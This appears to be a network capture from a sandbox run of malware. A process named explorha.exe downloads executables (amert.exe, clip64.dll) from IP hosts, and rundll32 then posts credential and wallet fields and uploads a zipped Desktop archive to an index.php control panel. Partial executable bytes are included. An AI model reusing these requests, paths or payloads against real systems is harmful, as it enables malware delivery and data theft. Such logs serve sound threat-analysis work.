Apr 18, 2024 23:40:03.114686012 CEST	1289	IN	Data Raw: 00 00 0f 00 00 00 88 90 c8 00 00 00 48 89 90 f8 00 00 00 48 c7 80 00 01 00 00 0f 00 00 00 88 90 e8 00 00 00 48 89 90 18 01 00 00 48 c7 80 20 01 00 00 0f 00 00 00 88 90 08 01 00 00 48 89 90 38 01 00 00 48 c7 80 40 01 00 00 0f 00 00 00 88 90 28 01 Data Ascii: HHHH H8H@(HXH`HHxHhHHHHHHHHHH
Apr 18, 2024 23:40:03.114701986 CEST	1289	IN	Data Raw: 00 0f 00 00 00 88 90 28 01 00 00 48 89 90 58 01 00 00 48 c7 80 60 01 00 00 0f 00 00 00 88 90 48 01 00 00 48 89 90 78 01 00 00 48 c7 80 80 01 00 00 0f 00 00 00 88 90 68 01 00 00 48 89 90 98 01 00 00 48 c7 80 a0 01 00 00 0f 00 00 00 88 90 88 01 00 Data Ascii: (HXH`HHxHhHHHHHHHHHH H8H@(HXH`HHxH
Apr 18, 2024 23:40:03.114717007 CEST	1289	IN	Data Raw: 00 48 8d 0d c5 9a 0f 00 e9 b4 cf 0c 00 48 8d 0d 15 9b 0f 00 e9 a8 cf 0c 00 48 8d 0d 49 9b 0f 00 e9 9c cf 0c 00 48 83 ec 28 48 8d 0d 75 b8 12 00 e8 ac dc 0c 00 48 8d 0d 75 9b 0f 00 48 83 c4 28 e9 7c cf 0c 00 b8 01 00 00 00 c3 cc cc cc cc cc cc cc Data Ascii: HHHIH(HuHuH(\|H\$Hl$Ht$ WAVHLTAL5GL@AAt'AB0TB82TuIIEAExAB0TAB0T+uHE3LHuED8t
Apr 18, 2024 23:40:03.114732981 CEST	1289	IN	Data Raw: 8b 57 10 48 8b cb e8 41 b8 06 00 48 8b 3f 48 85 ff 75 ec 48 8b 7e 10 48 85 ff 74 14 48 8b 57 10 48 8b cb e8 74 38 04 00 48 8b 3f 48 85 ff 75 ec 8b 43 28 41 ff c7 48 83 c5 20 44 3b f8 0f 8c 49 ff ff ff 48 8b 6c 24 20 4c 89 b3 20 03 00 00 41 8b fe Data Ascii: WHAH?HuH~HtHWHt8H?HuC(AH D;IHl$ L A~0IHC HL0HtD8qtiuUH ;{(\|HL$(D$0DuH{HL$0H AD$0HtgfDHHE^L9 tHH1-3H;hr"H;psH`
Apr 18, 2024 23:40:03.362818956 CEST	1289	IN	Data Raw: 95 c0 88 46 2b 33 c0 eb 05 b8 01 00 00 00 48 8b 4c 24 78 48 33 cc e8 28 bf 0c 00 4c 8d 9c 24 80 00 00 00 49 8b 5b 20 49 8b 6b 30 49 8b e3 41 5e 5f 5e c3 48 83 ec 08 80 79 2a 00 4c 8b d9 0f 85 2e 01 00 00 80 79 28 00 48 89 1c 24 74 0c 8b 41 08 44 Data Ascii: F+3HL$xH3(L$I[ Ik0IA^_^HyL.y(H$tADIYAAD@ACAAIDOQADAADhAAOiQQDAADAlDiAAAA+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	193.233.132.167	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:03.626189947 CEST	55	OUT	GET /mine/amert.exe HTTP/1.1 Host: 193.233.132.167
Apr 18, 2024 23:40:03.876729012 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:03 GMT Content-Type: application/octet-stream Content-Length: 1937408 Last-Modified: Thu, 18 Apr 2024 21:23:11 GMT Connection: keep-alive ETag: "66218f3f-1d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2a 52 e4 13 6e 33 8a 40 6e 33 8a 40 6e 33 8a 40 35 5b 89 41 60 33 8a 40 35 5b 8f 41 f0 33 8a 40 bb 5e 8e 41 7c 33 8a 40 bb 5e 89 41 7a 33 8a 40 bb 5e 8f 41 1b 33 8a 40 35 5b 8e 41 7a 33 8a 40 35 5b 8b 41 7d 33 8a 40 6e 33 8b 40 ba 33 8a 40 f5 5d 83 41 6f 33 8a 40 f5 5d 75 40 6f 33 8a 40 f5 5d 88 41 6f 33 8a 40 52 69 63 68 6e 33 8a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 15 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 aa 01 00 00 00 00 00 00 b0 4c 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4c 00 00 04 00 00 c6 c6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 70 06 00 6a 00 00 00 00 60 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 9b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 9b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2b 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 78 63 6e 61 72 75 69 00 80 1a 00 00 20 32 00 00 7e 1a 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 78 67 67 68 72 63 62 00 10 00 00 00 a0 4c 00 00 04 00 00 00 6a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4c 00 00 22 00 00 00 6e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$*Rn3@n3@n3@5[A`3@5[A3@^A\|3@^Az3@^A3@5[Az3@5[A}3@n3@3@]Ao3@]u@o3@]Ao3@Richn3@PELeL@L@Vpj`LL P@.rsrc`@.idata p@ +@mxcnarui 2~@nxgghrcbLj@.taggant0L"n@
Apr 18, 2024 23:40:03.876853943 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:03.876892090 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:03.876929045 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:03.876966953 CEST	1289	IN	Data Raw: ce d7 e0 ea 3e 7c a6 bb d1 50 91 27 6d 76 1a 59 4e e8 15 44 cd 00 05 75 3c 17 82 6b c5 f3 21 f3 ae 94 11 61 b5 b9 f0 8a fe 8f 59 bb b3 c8 b5 2b cd 17 b2 47 ce 59 32 e3 76 20 dc 1f f6 d6 a5 43 9c 71 26 b4 b6 c0 f9 5e 95 a4 d1 23 d1 8f 30 6b 8d e7 Data Ascii: >\|P'mvYNDu<k!aY+GY2v Cq&^#0kAHC>vvVtlvBq)c5;is}i(FEmsHut/dJg=Yz%p<+Z*w_X:cT>rqVdEBTQ$=3hBG.XbeT@rVd4
Apr 18, 2024 23:40:03.877003908 CEST	1289	IN	Data Raw: 84 56 64 6c 58 dd 09 6e 22 b3 d3 9a 18 48 cc ea ee 40 8f 34 07 15 b0 8c 30 ed c9 ef d5 3d 94 30 14 06 13 80 37 a5 08 7c 52 26 33 40 42 02 0e af 53 2a 06 2f d1 43 8b 07 db d9 75 a6 aa b9 53 7a 47 50 ab 82 07 fe 8a 93 68 93 1c 66 ca e2 85 78 4f 26 Data Ascii: VdlXn"H@40=07\|R&3@BS*/CuSzGPhfxO&N6d%N1/)@}oFS'S@}e,3]53z'h]p4VXRfuBlJQ!N0czO3g9jUA"
Apr 18, 2024 23:40:03.877042055 CEST	1289	IN	Data Raw: 84 04 71 93 c4 67 a3 8e 20 af 8c 28 2f a2 6f 34 2a f4 7e b0 21 55 7f 17 5e 18 be 5f ae 9b b7 58 d6 1f d3 11 04 16 50 10 04 1a f5 4a c1 fd 1e 81 5f e0 7a 06 87 18 70 a9 05 9f f3 00 52 b8 8c f0 48 a2 6f a6 6d 67 d0 ae 57 eb 9f e2 86 6e 49 88 c6 06 Data Ascii: qg (/o4~!U^_XPJ_zpRHomgWnI3T`w&12s3X'uat\|2m%7Q+Xwg1nOz^;\|6WWN4@'7LH!lp>DI_\<39{6(^Wub8bdfe*
Apr 18, 2024 23:40:03.877098083 CEST	1289	IN	Data Raw: b6 f2 40 24 2d 72 4d cc 81 e6 b0 e9 46 49 22 b4 e6 b4 14 2a ba b2 3d 25 82 f7 b2 61 4a 80 07 7e 30 f5 a1 1c 68 f7 8d 25 75 3f 16 1c 86 a8 ff 23 7f 20 0f 1c 86 81 0f 0d c4 27 61 ab c7 0a 15 31 6b 83 af 6b ea 64 00 83 93 2f ff 24 8a 8e 0e 1e 71 de Data Ascii: @$-rMFI"*=%aJ~0h%u?# 'a1kkd/$qGBDrd^Ds)4oxOMbI^ZxU$Vz?x404/(eqJ?s]Q9--21`q9MJbJac+vpX
Apr 18, 2024 23:40:03.877142906 CEST	1289	IN	Data Raw: 2e 94 01 50 7d 87 45 2b 73 17 18 8b 9c b9 f3 2d c3 65 bd 9e 50 3c 05 02 77 46 8e bd bb d8 b3 45 c3 0f 52 83 bb 31 39 66 ed d9 95 f0 68 9f 29 95 93 66 9a 6d 01 f8 bf 3c 4c 7c e0 08 d8 60 86 7d 98 0c c3 6e d5 9d 55 ce a4 e9 10 3c f5 13 b9 0b 03 dc Data Ascii: .P}E+s-eP<wFER19fh)fm<L\|`}nU<)xW/p}&3tFpL '?'pC(h\|F_J)&Sg{67nqse0?.{33l6QZce4IEdp%Z*AR2h2o-Ut%gCIiv
Apr 18, 2024 23:40:03.877180099 CEST	1289	IN	Data Raw: 5d c7 6e 35 07 aa 6c f3 30 0b 52 d1 bc 67 f6 e3 5c 41 fb a1 dc 6c 2d 6b bc 16 2b 35 47 62 06 10 15 d7 74 6d 8c da 73 fb 4b d6 6d 76 32 07 5b f6 1b 42 8e d0 d1 6b 8d 67 cb 24 7c f0 81 2e 68 aa 0a 20 f8 f4 50 3c 6b 28 56 12 4e b2 95 81 7f 3b 7d 22 Data Ascii: ]n5l0Rg\Al-k+5GbtmsKmv2[Bkg$\|.h P<k(VN;}"\9(Dwf:Xl>x^pEjjo'ekydOz$/0%5!p{%lor(Mf]')n]-%1Nk@>5})7*33+l
Apr 18, 2024 23:40:04.127530098 CEST	1289	IN	Data Raw: ca 42 0d 19 99 29 b8 00 64 04 6f 76 eb 34 b3 8c b0 f3 ba 65 f7 3a fa c8 e9 08 85 4c 36 e7 85 20 33 5b ad 58 0f 35 97 1d ce f9 d1 66 5a f8 b4 b3 2a 15 c0 7c 18 f4 fe 9f bd 5b 24 4f dc 58 e7 76 fc 18 62 56 42 2f b3 78 05 57 bd 68 c4 3b a4 17 3a 66 Data Ascii: B)dov4e:L6 3[X5fZ\|[$OXvbVB/xWh;:f~O/Y.sfu/-&\|7.C%eV-e:qaDFWH^\|/)S8lw2Lq?Zv9d>?owR-`z)z~.M6692Z\Pe~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:06.248497963 CEST	69	OUT	GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1 Host: 193.233.132.56
Apr 18, 2024 23:40:06.494431019 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:06 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Sun, 03 Mar 2024 11:54:32 GMT Connection: keep-alive ETag: "65e464f8-1b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a 12 e4 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELje!$f@@ P8(@@L.text6#$ `.rdata4i@j(@@.data@.rsrc@@.reloc@B
Apr 18, 2024 23:40:06.494472980 CEST	1289	IN	Data Raw: 00 00 6a 20 68 08 8d 01 10 b9 60 b8 01 10 e8 0f 44 00 00 68 e0 2c 01 10 e8 7d 51 00 00 59 c3 cc cc cc 6a 20 68 2c 8d 01 10 b9 78 b8 01 10 e8 ef 43 00 00 68 40 2d 01 10 e8 5d 51 00 00 59 c3 cc cc cc 6a 14 68 50 8d 01 10 b9 90 b8 01 10 e8 cf 43 00 Data Ascii: j h`Dh,}QYj h,xCh@-]QYjhPCh-=QYjhhCh.QYjhCh`.PYjhoCh.PYjhOCh /PYjh/C
Apr 18, 2024 23:40:06.494510889 CEST	1289	IN	Data Raw: ff ff 50 c7 85 9c fb ff ff 0f 00 00 00 c6 85 88 fb ff ff 00 e8 00 3f 00 00 c6 45 fc 06 8d b5 88 fb ff ff 83 bd 9c fb ff ff 10 8b bd 88 fb ff ff 8b 95 e8 fb ff ff 0f 43 f7 8b 85 ec fb ff ff 8b 8d 98 fb ff ff 2b c2 89 b5 b0 fb ff ff 89 95 ac fb ff Data Ascii: P?EC+Q;wCCPs VQTDEr+Hr#+QW9H
Apr 18, 2024 23:40:06.494551897 CEST	1289	IN	Data Raw: a1 50 b9 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ef 00 00 00 8b c2 51 50 e8 f7 43 00 00 83 c4 08 c7 05 60 b9 01 10 00 00 00 00 c7 05 64 b9 01 10 0f 00 00 00 c6 05 50 b9 01 10 00 0f 10 06 0f 11 05 50 b9 01 Data Ascii: PArP#+QPC`dPP~Ff`FFUr(MBrI#+wzRQCEUEEEr(MBrI#+w1RQ;CtuZ
Apr 18, 2024 23:40:06.494592905 CEST	1289	IN	Data Raw: 00 00 c6 06 00 c7 45 fc 00 00 00 00 0f 57 c0 66 0f d6 45 e4 c7 45 ec 00 00 00 00 68 00 04 00 00 c7 45 d0 01 00 00 00 c7 45 e4 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 e8 09 3f 00 00 8b f8 b9 00 01 00 00 83 c8 ff 89 7d e4 83 c4 04 8d Data Ascii: EWfEEhEEEE?}UUE3EB@\|E3M3U_9PvxErEt\xFNU;Ns~AFrDuEuQ
Apr 18, 2024 23:40:06.494631052 CEST	1289	IN	Data Raw: 00 00 89 4d cc c6 06 00 bb 01 00 00 00 33 ff 89 5d d0 85 c9 0f 8e e4 00 00 00 0f 1f 40 00 c7 45 e4 00 00 00 00 c7 45 e8 0f 00 00 00 c6 45 d4 00 3b c7 0f 82 14 01 00 00 2b c7 b9 02 00 00 00 3b c1 0f 42 c8 83 7d 1c 10 8d 45 08 0f 43 45 08 51 03 c7 Data Ascii: M3]@EEE;+;B}ECEQMP/]EE}jCEjPvNV];sAFrDuEuQ2EUr(MBrI#+wpRQ(9;}}
Apr 18, 2024 23:40:06.494669914 CEST	1289	IN	Data Raw: 45 fc 00 00 00 00 8d 4d c0 6a 24 68 50 8e 01 10 c7 45 d0 00 00 00 00 c7 45 d4 0f 00 00 00 c6 45 c0 00 e8 ce 2a 00 00 c6 45 fc 01 8b 45 18 85 c0 75 07 33 f6 e9 dc 00 00 00 33 ff 85 c0 0f 84 cd 00 00 00 66 90 c7 45 e8 00 00 00 00 c7 45 ec 0f 00 00 Data Ascii: EMj$hPEEEEEu33fEEE;u+;B}ECEQMPsEEePN(EEP7(E0EUr,MBrI#+
Apr 18, 2024 23:40:06.494709015 CEST	1289	IN	Data Raw: 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 e8 ea 68 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 20 2b 01 10 64 a1 00 00 00 00 50 83 ec 40 a1 08 b0 01 10 33 c5 89 45 f0 56 50 8d 45 f4 64 a3 00 00 00 00 83 ec 18 c7 45 fc 01 00 00 00 8b cc 89 Data Ascii: Y_^]hUjh +dP@3EVPEdEejhxAA{%EE ePV#EEPD#ME(0EEeP##EjhAA%Ed0
Apr 18, 2024 23:40:06.494746923 CEST	1289	IN	Data Raw: 10 f3 0f 7e 46 10 66 0f d6 05 90 b9 01 10 c7 46 10 00 00 00 00 c7 46 14 0f 00 00 00 c6 06 00 8b 55 cc 83 fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 aa 12 00 00 52 51 e8 a5 2a 00 00 83 c4 Data Ascii: ~FfFFUr,MBrI#+RQ*uEePlEjhAAV E0EEEHE;0+;B}ECEMVP r.ArP
Apr 18, 2024 23:40:06.494787931 CEST	1289	IN	Data Raw: c4 30 c7 45 c8 00 00 00 00 c7 45 cc 0f 00 00 00 c6 45 b8 00 8d 48 ff b8 b0 b9 01 10 39 0d c0 b9 01 10 0f 42 0d c0 b9 01 10 83 3d c4 b9 01 10 10 51 0f 43 05 b0 b9 01 10 8d 4d b8 50 e8 99 1b 00 00 8b 0d c4 b9 01 10 83 f9 10 72 2e a1 b0 b9 01 10 41 Data Ascii: 0EEEH9B=QCMPr.ArP#+wQPu%EU~EMfAA9B=RCPMt\|
Apr 18, 2024 23:40:06.740923882 CEST	1289	IN	Data Raw: fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 d4 08 00 00 52 51 e8 b6 20 00 00 83 c4 08 83 ec 18 8b cc 89 65 d4 68 78 b8 01 10 e8 7f 14 00 00 83 ec 18 c6 45 fc 12 8b cc 68 c8 b9 01 10 e8 6c Data Ascii: r,MBrI#+RQ ehxEhlME0t\|r.ArP#+dQP? ~FfFFUr,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	193.233.132.56	80	7284	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:07.375854969 CEST	176	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Apr 18, 2024 23:40:07.620189905 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:22.996735096 CEST	172	OUT	POST /Pneh2sXQk0/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NjE0NQ== Host: 193.233.132.56 Content-Length: 6305 Cache-Control: no-cache
Apr 18, 2024 23:40:22.996735096 CEST	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 6a 45 30 4e 51 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NjE0NQ==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Apr 18, 2024 23:40:22.996735096 CEST	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Apr 18, 2024 23:40:22.996735096 CEST	8	OUT	Data Raw: 08 00 4f 70 44 57 53 c6 Data Ascii: OpDWS
Apr 18, 2024 23:40:22.996834993 CEST	8	OUT	Data Raw: ff da 84 02 00 00 02 04 Data Ascii:
Apr 18, 2024 23:40:22.996834993 CEST	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Apr 18, 2024 23:40:22.996835947 CEST	8	OUT	Data Raw: 69 6c 65 73 5f 5c 41 49 Data Ascii: iles_\AI
Apr 18, 2024 23:40:22.996835947 CEST	8	OUT	Data Raw: 58 41 43 56 59 42 53 42 Data Ascii: XACVYBSB
Apr 18, 2024 23:40:22.996876001 CEST	8	OUT	Data Raw: 2e 64 6f 63 78 15 93 47 Data Ascii: .docxG
Apr 18, 2024 23:40:22.996876955 CEST	8	OUT	Data Raw: 6e 40 31 08 44 f7 91 72 Data Ascii: n@1Dr
Apr 18, 2024 23:40:22.996900082 CEST	8	OUT	Data Raw: 28 17 dc 0b c6 c6 85 fb Data Ascii: (
Apr 18, 2024 23:40:23.265618086 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	193.233.132.56	80	7264	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:07.623210907 CEST	159	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
